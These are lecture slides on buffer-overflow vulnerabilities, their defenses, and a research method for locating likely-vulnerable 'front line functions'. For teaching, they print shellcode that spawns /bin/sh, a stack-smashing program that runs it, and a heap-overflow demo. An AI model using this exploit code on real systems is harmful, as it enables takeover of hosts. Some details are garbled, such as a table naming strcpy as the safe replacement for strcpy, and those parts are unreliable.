Topics in Software Security
Vulnerability
Software vulnerability

• What are software vulnerabilities?
• Types of vulnerabilities
  – E.g., Buffer Overflows
• How to find these vulnerabilities and prevent them?
• Classes of software vulnerabilities
• A software vulnerability is an instance of a fault in the specification, development, or configuration of software such that its execution can violate the (implicit or explicit) security policy.
Types of software vulnerability

• Buffer overflows
  – Smash the stack
  – Overflows in setuid regions
• Heap overflows
• Format string vulnerabilities
What is a buffer?

• Example:
  – A place on a form to fill in last name where each character has one box.

• “Buffer” is used loosely to refer to any area of memory where more than one piece of data is stored.
Buffer overflows

• The most common form of security vulnerability in the last 10 years
  – 1998: 2 out of 5 “remote to local” attacks in Lincoln Labs Intrusion Detection Evaluation were buffer overflows.
  – 1999: at least 50% of CERT advisories involved buffer overflows.
How does a buffer overflow happen?

• Reading or writing past the end of the buffer → overflow

• As a result, any data that is allocated near the buffer can be read and potentially modified (overwritten)
  – A password flag can be modified to log in as someone else.
  – A return address can be overwritten so that it jumps to arbitrary code that the attacker injected (smash the stack) → attacker can control the host.
Two steps

• Arrange for suitable code to be available in the program’s address space (buffer)
  – Inject the code
  – Use code that is already in the program

• Overflow the buffer so that the program jumps to that code.
Inject the code

• Use a string as input to the program which is then stored in a buffer.
• String contains bytes that are native CPU instructions for attacked platform.
• Buffer can be located on the stack, heap, or in static data area.
Code already in program

• Only need to parameterize the code and cause the program to jump to it.

• Example:
  – Code in libc that executes "exec(arg)", where arg is a string pointer argument, can be used to point to "/bin/sh" and jump to appropriate instructions in libc library.
Jump to attack code

• Activation record
  – stack smashing attack
• Function pointer
• Longjmp(3) buffer
Memory regions

<table>
<thead>
<tr>
<th>Region</th>
<th>Lower memory addresses</th>
<th>Higher memory addresses</th>
</tr>
</thead>
<tbody>
<tr>
<td>Code</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Static Data</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Stack</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Heap</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Code/text segment

- Static
- Contains code (instructions) and read-only data
- Corresponds to text section of executable file
- If attempt to write to this region → segmentation violation
Data segment

- Permanent data with statically known size
- Both initiated and uninitiated variables
- Corresponds to the data-bss sections of the executable file
- `brk(2)` system call can change data segment size
- Not enough available memory → process is blocked and rescheduled with larger memory
Heap

- Dynamic memory allocation
- `malloc()` in C and `new` in C++ → More flexibility
- More stable data storage – memory allocated in the heap remains in existence for the duration of a program
- Data with unknown lifetime – global (storage class external) and static variables
Stack – I

- Provides high-level abstraction
  - Allocates local variables when a function gets called (with known lifetime)
  - Passes parameters to functions
  - Returns values from functions
- Push/Pop operations (LIFO) – implemented by CPU
- Size – dynamically adjusted by kernel at runtime
Stack – II

- Stack Pointer (SP) – TOP of stack (or next free available address)
- Fixed address – BOTTOM of stack
- Logical Stack Frame (SF) – contains parameters to functions, local variables, data to recover previous SF (e.g: instruction pointer at time of function call)
- Frame Pointer (FP)/local Base Pointer (BP) – Beginning of Activation Record (AR), used for referencing local variables and parameters (accessed as offsets from BP)
Activation record

• Contains all info local to a single invocation of a procedure
  – Return address
  – Arguments
  – Return value
  – Local variables
  – Temp data
  – Other control info
Accessing an activation record

- **Base pointer**: beginning of AR
  - Arguments are accessed as offsets from bp
- **Environment pointer**: pointer to the most recent AR (usually a fixed offset from bp)
- **Stack pointer**: top of AR stack
  - Temporaries are allocated on top on stack
When a procedure is called

- Previous FP is saved
- SP is copied into FP $\rightarrow$ new FP
- SP advances to reserve space for local variables
- Upon procedure exit, the stack is cleaned up
Function pointer

• Find a buffer adjacent to function pointer in stack, heap or static data area
• Overflow buffer to change the function pointer so it jumps to desired location
• Example: attack against superprobe program - Linux
Longjmp buffer

• setjmp(buffer) to set a checkpoint
• longjmp(buffer) to go back to checkpoint
• Corrupt state of buffer so that longjmp(buffer) jumps to the attack code instead
Example

```c
void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
}
void main() {
    function(1,2,3);
}
```

```
pushl $3
pushl $2
pushl $1
call function
pushl %ebp
movl %esp,%ebp
subl $20,%esp
```
Buffer overflow example

void main() {
    int x;
    x = 0;
    function(1,2,3);
    x = 1;
    printf("%d\n",x);
}

void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
    int *ret;
    ret = buffer1 + 12;
    (*ret) += 8;
}
Result of program

• Output: 0
• Return address has been modified and the flow of execution has been changed
• All we need to do is place the code that we are trying to execute in the buffer we are overflowing, and modify the return address so it points back to buffer
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\xc1\x08\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d \x4e\x08\x8d \x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string; /* long_ptr takes the address of large_string */
    /* large_string's first 32 bytes are filled with the address of buffer */
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    /* copy the contents of shellcode into large_string */
    for (i = 0; i < strlen(shellcode); i++)
        large_string[ i ] = shellcode[ i ];
    /* buffer gets the shellcode and 32 pointers back to itself */
    strcpy(buffer, large_string);
}
Example illustrated [6]
Buffer overflows defenses

- Writing correct code (good programming practices)
- Debugging Tools
- Non-executable buffers
- Array bounds checking
- Code pointer integrity checking (e.g., StackGuard)
Problems with C

- Some C functions are problematic
  - Static size buffers
  - Do not have built-in bounds checking
- While loops
  - Read one character at a time from user input until end of line or end of file
  - No explicit checks for overflows
## Some problematic C functions

<table>
<thead>
<tr>
<th>Function</th>
<th>Severity</th>
<th>Solution: Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>gets</td>
<td>Most Risky</td>
<td>fgets(buf, size, stdin)</td>
</tr>
<tr>
<td>strcpy, strcat</td>
<td>Very Risky</td>
<td>strcpy, strcat</td>
</tr>
<tr>
<td>sprintf, vsprintf</td>
<td>Very Risky</td>
<td>sprintf, vsprintf or precision specifiers</td>
</tr>
<tr>
<td>snprintf, vsnprintf</td>
<td>Very Risky</td>
<td>precision specifiers or do own parsing</td>
</tr>
<tr>
<td>scanf family</td>
<td>Very Risky</td>
<td></td>
</tr>
<tr>
<td>realpath, syslog</td>
<td>Very Risky (depending on implementation)</td>
<td>Maxpathlen and manual checks</td>
</tr>
<tr>
<td>getopt, getopt_long, getpass</td>
<td>Very Risky (depending on implementation)</td>
<td>Truncate string inputs to reasonable size</td>
</tr>
</tbody>
</table>
Good programming practices – I (useful to know for code inspections)

<table>
<thead>
<tr>
<th>DO NOT USE:</th>
<th>Instead USE:</th>
</tr>
</thead>
<tbody>
<tr>
<td>void main( ) {</td>
<td>void main( ) {</td>
</tr>
<tr>
<td>char buf [40];</td>
<td>char buf [40];</td>
</tr>
<tr>
<td>gets(buf);</td>
<td>fgets(buf,40,stdin);</td>
</tr>
<tr>
<td>}</td>
<td>}</td>
</tr>
</tbody>
</table>
### Good programming practices – II

**DO NOT USE:**

```c
void main() {
    char buf[4];
    char src[8] = "rrrrr";
    strcpy(buf, src);
}
```

**Instead USE:**

```c
if (src_size >= buf_size) {
    cout<< "error";
    return(1);
} else {
    strcpy(buf, src);
}
```

OR

```c
strncpy(buf, src, buf_size - 1);
buf[buf_size - 1] = '\0';
```
Debugging tools

• More advanced debugging tools
  – Fault injection tools – inject deliberate buffer overflow faults at random to search for vulnerabilities
  – Static analysis tools – detect overflows

• Can only minimize the number of overflow vulnerabilities but cannot provide total assurance
Non-executable buffers

- Make data segment of program’s address space non-executable → attacker can’t execute code injected into input buffer (compromise between security and compatibility)
Non-executable buffers

• If code already in program, attacks can bypass this defense method
• Kernel patches (Linux and Solaris) – make stack segment non-executable and preserve most program compatibility
Array bounds checking

- Attempts to prevent overflow of code pointers
- All reads and writes to arrays need to be checked to make sure they are within bounds (check most array references)
  - Campaq C compiler
  - Jones & Kelly array bound checking
  - Purify memory access checking
  - Type-safe languages (e.g., Java)
Code pointer integrity checking

- Attempts to detect that a code pointer has been corrupted before it is de-referenced
- Overflows that affect program state components other than code pointer will succeed
- Offers advantages in performance, compatibility with existing code and implementation effort
  - Hand-coded stack introspection
  - StackGuard → PointGuard
StackGuard

- Compiler technique that provides protection by checking the return address in AR
- When detects an attack → causes app to exit, rather than yielding control to attacker
  - Terminator canary
  - Random canary
Heap overflows

- Harder to exploit, yet still common
- Need to know which variables are security critical
- Cause a buffer overflow to overwrite the target variables (generally buffer needs to have lower address)
Example

```c
void main(int argc, char **argv) {
    char *super_user = (char *)malloc(sizeof(char)*9);
    char *str = (char *)malloc(sizeof(char)*4);
    char *tmp;
    super_user = super_user - 40;
    strcpy(super_user, "viega");
    if (argc > 1)
        strcpy(str, argv[1]);
    else
        strcpy(str,"xyz");
    tmp = str;
    while(tmp <= super_user + 12) {
        printf("%p: %c (0x%x)\n", tmp, isprint(*tmp) ? *tmp : '?', (unsigned int)(*tmp));
        tmp+=1; }
}
```
Output

Address of str is: 003000E0
Address of super_user is: 00300110

003000E0:  x  (0x78)
003000E1:  y  (0x79)
003000E2:  z  (0x7a)
003000E3:  ?  (0x0)
003000E4:  2  (0xffffffffd)
003000E5:  2  (0xffffffffd)
003000E6:  2  (0xffffffffd)
003000E7:  2  (0xffffffffd)
003000E8:  v  (0x76)
003000E9:  i  (0x69)
003000EA:  e  (0x65)
003000EB:  g  (0x67)
003000EC:  a  (0x61)
003000ED:  ?  (0x0)
003000EE:  ?  (0x0)
003000EF:  ?  (0x0)
003000F0:  h  (0x68)
003000F1:  I  (0x49)
003000F2:  /  (0x2f)
003000F3:  ?  (0x0)
003000F4:  ?  (0xffffffffc0)
Output after overflow

```
C:\Documents and Settings\Maralle\Buffer_Overflow\Example2\Debug>example2 xyz...
..maral
Address of str is: 003000D0
Address of super_user is: 00300100
003000D0:  x <0x78>
003000D1:  y <0x79>
003000D2:  z <0x7a>
003000D3:  . <0x2e>
003000D4:  . <0x2e>
003000D5:  . <0x2e>
003000D6:  . <0x2e>
003000D7:  . <0x2e>
003000D8:  m <0x6d>
003000D9:  a <0x61>
003000DA:  r <0x72>
003000DB:  a <0x61>
003000DC:  l <0x6c>
003000DD:  ? <0x0>
003000DE:  ? <0x0>
003000DF:  ? <0x0>
003000E0:  h <0x68>
003000E1:  I <0x49>
003000E2:  / <0x2f>
003000E3:  ? <0x0>
003000E4:  ? <0xffffffffb0>
```
Auditing for software security

• Pre-release software development practices unlikely to change
  – Safe languages
  – Adequate software design
  – Thorough testing

• Post-release auditing typically used if warranted
Security auditing problems

- Large scale auditing infeasible due code size
- Good source code will have 1-3 bugs for every 100 lines of code
- Security auditors need to find the software security vulnerabilities in the bugs
- Security audits would benefit from a tool that identify areas that are likely vulnerable
Improving the security audit

• Cut down the amount of code needed to be reviewed
• Ensure high degree of accuracy
• Bottom line: Complexity reduction
The FLF hypothesis

- A small percentage of functions near a source of input are more likely to contain software security vulnerabilities
- These functions are known as Front Line Functions
Front line functions

- 60% Code Reduction
- No auditor time required
- High degree of accuracy
Discovering the FLF measurement

• Collect software systems with known vulnerabilities
• Perform detailed static analyses of software systems
• Calculate areas of likely vulnerability from information gathered during static analyses
• Build tools around these calculations
How are these tools used?

- Run static analysis tools on source code
- A database of code facts is created
- The database is used to find the likely vulnerable functions
- The likely vulnerable functions are outputted and ranked by proximity to input source
Case Study: OpenSSH

GOAL: FLF Finder identifies large percentage of modified functions

82% of changed functions identified by FLF Finder

OpenSSH 3.1
Functions where privilege separation will be implemented

Code that was not change between revisions

OpenSSH 3.2.3
Code changed to implement privilege separation
Experimental Systems

- 30 open source systems
- 31 software security vulnerabilities
- Each system has a single patch file which addresses one security vulnerability
- Most recovered from Redhat’s source RPM distribution due to their incremental nature
GAST-MP & SGA

• GNU Abstract Syntax Tree Manipulation Program (GAST-MP)
  – Source Code Analysis tool
  – Operates on G++’s Abstract Syntax Tree (AST)
    • AST can be outputted with the –fdump-tree-flag
  – Creates a repository of code facts

• System Graph Analyzer (SGA)
  – Operates on the code fact repository
  – Identifies Inputs and Targets
  – Performs invocation analysis
  – Calculates FLF Density
  – Analysis of Categorical Graphs
Finding inputs

- An Input is a function which contains reads in external user input
  - For example, `read`

- A list of external function calls were compiled to properly identify Inputs

- This list could be modified to contain application specific library calls
Finding targets

- A Target is any function that contains a known vulnerability
- Targets are found by matching code facts on subtractive lines in a patch file with code facts in the repository generated by GAST-MP
FLF density

- Create entire call graph $G$
- Transform $G$ in DAG
- Label Input and Target Nodes
- Calculate invocation paths between Input and Target combinations and measure length
- Calculate FLF Density by normalizing path length by function cardinality
- For each system choose the largest FLF Density
# Experimental results

<table>
<thead>
<tr>
<th>System Name</th>
<th>FLF Density (%)</th>
<th>Longest Path</th>
<th>Total Functions</th>
<th>Lines of Code</th>
<th>System Name</th>
<th>FLF Density (%)</th>
<th>Longest Path</th>
<th>Total Functions</th>
<th>Lines of Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>2.18</td>
<td>18</td>
<td>824</td>
<td>67,141</td>
<td>netkit-ping</td>
<td>2.38</td>
<td>1</td>
<td>42</td>
<td>835</td>
</tr>
<tr>
<td>crond</td>
<td>2.50</td>
<td>3</td>
<td>120</td>
<td>3,646</td>
<td>netkit-tftp</td>
<td>1.79</td>
<td>1</td>
<td>56</td>
<td>1,020</td>
</tr>
<tr>
<td>elm</td>
<td>1.28</td>
<td>6</td>
<td>468</td>
<td>95,921</td>
<td>nmh</td>
<td>1.53</td>
<td>12</td>
<td>785</td>
<td>52,356</td>
</tr>
<tr>
<td>exim</td>
<td>1.82</td>
<td>10</td>
<td>549</td>
<td>61,210</td>
<td>radius-client</td>
<td>4.43</td>
<td>7</td>
<td>158</td>
<td>15,872</td>
</tr>
<tr>
<td>fetchmail</td>
<td>3.13</td>
<td>11</td>
<td>351</td>
<td>24,201</td>
<td>screen</td>
<td>.94</td>
<td>4</td>
<td>424</td>
<td>24,796</td>
</tr>
<tr>
<td>gnupg</td>
<td>1.16</td>
<td>6</td>
<td>517</td>
<td>73,274</td>
<td>sharutils</td>
<td>6.12</td>
<td>3</td>
<td>49</td>
<td>9,271</td>
</tr>
<tr>
<td>inn</td>
<td>.73</td>
<td>3</td>
<td>407</td>
<td>81,429</td>
<td>stunnel</td>
<td>3.52</td>
<td>8</td>
<td>227</td>
<td>3,820</td>
</tr>
<tr>
<td>joe</td>
<td>4.04</td>
<td>26</td>
<td>644</td>
<td>20,639</td>
<td>sysklogd</td>
<td>7.58</td>
<td>10</td>
<td>132</td>
<td>6,115</td>
</tr>
<tr>
<td>lukemftp</td>
<td>3.04</td>
<td>17</td>
<td>558</td>
<td>7,995</td>
<td>tcpdump</td>
<td>.48</td>
<td>3</td>
<td>627</td>
<td>27,738</td>
</tr>
<tr>
<td>lynx</td>
<td>1.00</td>
<td>12</td>
<td>1206</td>
<td>129,420</td>
<td>telnetd</td>
<td>7.14</td>
<td>8</td>
<td>227</td>
<td>16,480</td>
</tr>
<tr>
<td>mailx</td>
<td>3.33</td>
<td>10</td>
<td>300</td>
<td>9,351</td>
<td>webalizer</td>
<td>1.33</td>
<td>2</td>
<td>150</td>
<td>6,450</td>
</tr>
<tr>
<td>minicom</td>
<td>3.91</td>
<td>10</td>
<td>256</td>
<td>11,571</td>
<td>wwwwoffle</td>
<td>2.85</td>
<td>11</td>
<td>386</td>
<td>44,498</td>
</tr>
<tr>
<td>mutt</td>
<td>1.32</td>
<td>15</td>
<td>1139</td>
<td>62,824</td>
<td>zgv-1</td>
<td>3.32</td>
<td>9</td>
<td>271</td>
<td>8,607</td>
</tr>
<tr>
<td>netkit-ftp</td>
<td>2.97</td>
<td>7</td>
<td>236</td>
<td>76,695</td>
<td>zgv-2</td>
<td>2.58</td>
<td>7</td>
<td>271</td>
<td>8,607</td>
</tr>
<tr>
<td>netkit-inetd</td>
<td>5.50</td>
<td>5</td>
<td>91</td>
<td>1,351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Experimental results

• Sample mean FLF Density 2.87%
  – Therefore, a very small number of functions are actually likely to be vulnerable

• Standard deviation of 1.87%
  – The FLF density was consistent across our experimental systems

• With 95% confidence the true mean is between 2.23% and 3.51%
  – There is a high probability that our experimental density is close to the TRUE FLF Density
Verification

- The FLF Density can be used as a conservative way to highlight those vulnerability functions which do not have known vulnerabilities

<table>
<thead>
<tr>
<th>Function Name</th>
<th>Function Coverage (%)</th>
<th>Number Vuln.</th>
<th>Number Found</th>
</tr>
</thead>
<tbody>
<tr>
<td>micq</td>
<td>35.58</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>elm</td>
<td>39.82</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>dhcpd</td>
<td>18.75</td>
<td>2</td>
<td>1</td>
</tr>
</tbody>
</table>
FLF finder

- FLF Density can say what areas of code are statistically likely to be vulnerable
- Automate tool to find these areas
- Targets are not provided – what do we do?
  - Assume all functions are targets
  - This extremely conservative assumption is still able to reduce 60% of code!
Discussion …

• How would you test for buffer overflow vulnerability?
  – Web application
  – Command line application
  – GUI application
  – Server